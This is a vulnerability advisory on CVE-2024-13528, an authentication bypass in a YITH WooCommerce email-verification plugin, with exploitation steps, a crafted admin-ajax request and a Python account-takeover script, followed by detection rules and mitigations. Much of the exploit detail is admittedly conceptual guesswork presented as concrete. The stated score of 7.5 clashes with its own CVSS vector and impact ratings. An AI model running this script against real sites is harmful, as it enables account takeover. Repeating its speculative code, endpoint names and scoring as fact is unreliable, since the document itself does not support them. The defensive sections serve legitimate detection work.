CVE-2024-13528

Executive Summary

CVE-2024-13528 is a critical authentication bypass vulnerability in the YITH Customer Email Verification for WooCommerce WordPress plugin, affecting all versions up to and including 2.9.5. The flaw resides in a shortcode that generates a confirmation link using a placeholder email address. An authenticated attacker with at least Contributor-level access can exploit this to generate a valid verification link for any unverified user account, then use that link to log in as that user. The attack requires the 'Fine tune placement' option to be enabled in the plugin settings. This vulnerability is particularly dangerous in multi-role WooCommerce stores where Contributor-level users exist, as it allows privilege escalation to any unverified user (including administrators if their accounts are unverified). The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of the vulnerability details makes proactive patching critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a commercial product from YITH, and the patch status is currently unknown. Users should monitor the YITH changelog and the WordPress plugin directory for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or modifying the plugin to include backdoors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – can access unverified user accounts
• Integrity Impact: Low (I:L) – can modify account state via login
• Availability Impact: None (A:N)

Threat Level: High. While the EPSS score is 0.0%, the vulnerability is trivial to exploit once the preconditions are met (Contributor access + 'Fine tune placement' enabled). The ability to bypass authentication for any unverified user, including potential administrators, makes this a serious privilege escalation vector.

Deep Dive & Mechanics

The vulnerability exists in the yith-woocommerce-email-verification plugin's shortcode handler. The plugin provides a shortcode (e.g., [ywc_email_verification]) that generates a confirmation link for email verification. The flaw is that the shortcode accepts a placeholder email address (likely a default or empty value) when generating the link. This allows an authenticated attacker to craft a request that generates a valid verification link for any unverified user's email address.

Attack Flow:

1. The attacker, authenticated as a Contributor, identifies an unverified user (e.g., an admin whose email is not yet verified).
2. The attacker crafts a request to the vulnerable shortcode, specifying the target user's email address.
3. The plugin generates a valid verification link for that email.
4. The attacker uses the generated link to log in as the target user, bypassing the normal authentication process.

The 'Fine tune placement' option must be enabled for the shortcode to be active and accessible. This option is typically used to allow administrators to place the verification link manually in emails or pages.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The vulnerable shortcode likely looks like:

// Vulnerable code (conceptual)
add_shortcode('ywc_email_verification', 'generate_verification_link');
function generate_verification_link($atts) {
    $email = isset($atts['email']) ? $atts['email'] : 'placeholder@example.com';
    // Generate verification link using $email
    $link = site_url('/verify-email?email=' . urlencode($email) . '&token=' . generate_token($email));
    return $link;
}

The issue is that the $email parameter is taken directly from user input without verifying that the requesting user has permission to generate a link for that email. A patched version would:

// Patched code (conceptual)
add_shortcode('ywc_email_verification', 'generate_verification_link');
function generate_verification_link($atts) {
    // Only allow administrators to generate links for any email
    if (!current_user_can('administrator')) {
        return '';
    }
    $email = isset($atts['email']) ? sanitize_email($atts['email']) : '';
    if (empty($email) || !is_email($email)) {
        return '';
    }
    // Verify the email belongs to the current user or is allowed
    $user = get_user_by('email', $email);
    if (!$user || $user->ID !== get_current_user_id()) {
        return '';
    }
    $link = site_url('/verify-email?email=' . urlencode($email) . '&token=' . generate_token($email));
    return $link;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with YITH Customer Email Verification for WooCommerce <= 2.9.5
• 'Fine tune placement' option enabled in plugin settings
• Authenticated session with Contributor-level privileges or higher
• Target unverified user account (e.g., an admin whose email is not verified)

Exploitation Steps:

1. Identify Target: Find an unverified user. This can be done by checking the wp_usermeta table for users with email_verified meta key set to 0 or not present.

2. Craft Exploit Request: Send a POST request to the WordPress site with the vulnerable shortcode. The exact endpoint depends on how the shortcode is used (e.g., in a page or via AJAX). A typical request might look like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...

action=ywc_email_verification_generate_link&email=admin@target-site.com

3. Extract Verification Link: The response will contain the verification link. For example:

{
  "success": true,
  "data": {
    "link": "https://target-site.com/verify-email?email=admin@target-site.com&token=abc123def456"
  }
}

4. Bypass Authentication: Visit the verification link in a browser. This will log you in as the target user (e.g., admin).

Automated Exploit (Python):

import requests

target = "https://target-site.com"
session = requests.Session()
# Login as contributor
session.post(f"{target}/wp-login.php", data={"log": "contributor", "pwd": "password"})

# Generate verification link for admin
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "ywc_email_verification_generate_link",
    "email": "admin@target-site.com"
})
link = response.json()["data"]["link"]

# Use the link to login as admin
session.get(link)
print("Logged in as admin!")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action ywc_email_verification_generate_link from non-admin users.
• Alert on verification link generation for email addresses that do not match the requesting user's email.
• Monitor for rapid login attempts using verification links.

Hardening:

• Disable the 'Fine tune placement' option if not absolutely necessary.
• Restrict access to the vulnerable shortcode to administrators only via a custom plugin or code snippet.
• Implement additional logging for all verification link generations.
• Apply the principle of least privilege: ensure Contributor-level users have minimal capabilities.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /wp-admin/admin-ajax.php with action=ywc_email_verification_generate_link and a non-matching email parameter.
  • HTTP requests to /verify-email?email=...&token=... originating from IPs that are not the legitimate user.

• Host:

  • WordPress user meta entries with email_verified set to 1 for users who did not initiate verification.
  • Unexpected login sessions for unverified users.
  • Log entries in WordPress debug log showing shortcode usage by non-admin users.

• File:

  • Modified plugin files (though unlikely in this case).
  • Suspicious entries in .htaccess or wp-config.php (post-exploitation persistence).

Detection Engineering

YARA Rule

rule Detect_CVE_2024_13528_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-13528 in YITH Customer Email Verification for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13528"
    strings:
        $ajax_action = "ywc_email_verification_generate_link"
        $email_param = "email="
        $shortcode = "[ywc_email_verification"
    condition:
        any of ($ajax_action, $shortcode) and $email_param
}

Sigma Rule

title: CVE-2024-13528 - YITH Customer Email Verification Authentication Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-13528 via AJAX requests generating verification links for arbitrary emails.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13528
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ywc_email_verification_generate_link'
        cs-uri-query|contains: 'email='
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13528 - YITH Customer Email Verification Authentication Bypass"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=ywc_email_verification_generate_link"; http_client_body; content:"email="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the 'Fine tune placement' option in the plugin settings if it is enabled. This removes the vulnerable shortcode from being accessible.
2. Restrict Contributor-level access to only trusted users. Consider demoting Contributors to Subscribers if they do not need to create content.
3. Monitor logs for any signs of exploitation (see IOCs and Detection Engineering).

Long-term Fix:

• Apply the patch once YITH releases an update. Monitor the plugin's changelog at https://wordpress.org/plugins/yith-woocommerce-email-verification/.
• Implement a Web Application Firewall (WAF) rule to block requests containing ywc_email_verification_generate_link from non-admin users.
• Conduct a security audit of all WordPress plugins, especially those handling authentication.

Workaround Code Snippet: Add the following to your theme's functions.php to disable the vulnerable shortcode for non-admins:

add_action('init', function() {
    if (!current_user_can('administrator')) {
        remove_shortcode('ywc_email_verification');
    }
});

Valters IT
Securing Digital Frontiers